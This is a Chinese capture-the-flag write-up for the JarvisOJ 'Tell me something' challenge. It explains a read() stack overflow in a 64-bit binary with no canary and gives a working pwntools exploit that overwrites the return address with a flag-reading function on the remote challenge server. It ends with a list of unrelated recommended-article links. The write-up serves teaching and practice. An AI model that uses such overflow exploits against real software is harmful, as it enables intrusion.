[Jarvisos]Tell me something
0x01
拿到题目首先检查一下是32位还是64位

64位程序,未开启canary栈保护
运行一下程序,检查一下程序的运行逻辑

提示—>输入—>输出
0x02
ida反编译一下,看一下代码逻辑是什么

发现read函数在向v6读入输入的时候没有判断v6接受参数的大小范围,而超出了v6所能接受的最大范围,存在溢出
到这里整体思路已经有了,就是利用这里的read函数的栈溢出进行漏洞利用
那么我这个时候首先是去找有没有system函数来调用shell,找了一圈发现没有,最终发现了一个有意思的函数

调用这个函数的时候,会直接对flag.txt进行读取,所以我们只需要将溢出后的地址覆盖到这里就行
0x03
exp:
from pwn import *
debug = 0
if debug == 1:
io = process("./guestbook.d3d5869bd6fb04dd35b29c67426c0f05")
elf = ELF("./guestbook.d3d5869bd6fb04dd35b29c67426c0f05")
else:
io = remote("pwn.jarvisoj.com", 9876)
elf = ELF("./guestbook.d3d5869bd6fb04dd35b29c67426c0f05")
good_game_addr = elf.symbols["good_game"]
io.recvline()
payload = b'a' * 0x88 + p64(good_game_addr)
io.sendline(payload)
io.interactive()
这里说一下踩到的坑,刚开始调试程序是在本地调试程序,发现一直不成功,后来发现其实这里得不到shell,而是直接读取的文件从而获得flag,所以这里程序要想本地调试成功,需要在当前目录下创建flag.txt文件才可以
[Jarvisos]Tell me something的更多相关文章
随机推荐
- Spark中自定义累加器
通过继承AccumulatorV2可以实现自定义累加器. 官方案例可参考:http://spark.apache.org/docs/latest/rdd-programming-guide.html# ...
- 117.填充每个节点的下一个右侧节点指针II
# Definition for a Node.class Node: def __init__(self, val: int = 0, left: 'Node' = None, right: 'No ...
- 不就是语法和长难句吗—笔记总结Day3
♦5♦状语从句——结果状语从句 · so(+adj / adv)...that · such(+ n)...that ♦6♦状语从句——让步状语从句 · although · though · eve ...
- CentOS下安装python3环境及pypy环境
安装前基础环境 1. win7虚拟机CentOS7.6系统 2. 网络环境通过NAT方式 3. 已经配置到yum仓库并系统自带有python2.7 安装前准备 1. python3.6.5源码包:ht ...
- css/html 空格,html空格符的显示、标示方式【html空格代码】
在html里面空格的话,你直接敲打出来的空格是不可以的,下面将通过html和css中设置显示空格的实现总结: Html中空格 符号 编号 描述 不断行的空白(1个字符宽度), 不换行空格 全 ...
- Python 数字格式转换
# 数字格式转换v1 '''a = input() a1 = list(a) b = ["零", "一", "二", "三&quo ...
- WPF之Converter
1.Converter介绍 在WPF应用程序中经常遇到类似这样的问题,在定义的类中用的bool类型的值,但是界面上某个控件的显示属性是Visibility的枚举类型的,解决这个问题可以简单在定义的类中 ...
- SQLAlchemy03 /外键、连表关系
SQLAlchemy03 /外键.连表关系 目录 SQLAlchemy03 /外键.连表关系 1.外键 2.ORM关系以及一对多 3.一对一的关系 4.多对多的关系 5.ORM层面的删除数据 6.OR ...
- 数据可视化之powerBI技巧(十三)PowerBI作图技巧:动态坐标轴
之前的文章中介绍了如何制作动态的分析指标,这篇进行文章再介绍一下如何制作动态的坐标轴. 假设要分析的数据为销售额,分别从产品和地区两个维度进行分析,要实现的效果是,如果选择的是产品,则坐标轴是各个产品 ...
- 08 Flask源码剖析之flask拓展点
08 Flask源码剖析之flask拓展点 1. 信号(源码) 信号,是在flask框架中为我们预留的钩子,让我们可以进行一些自定义操作. pip3 install blinker 2. 根据flas ...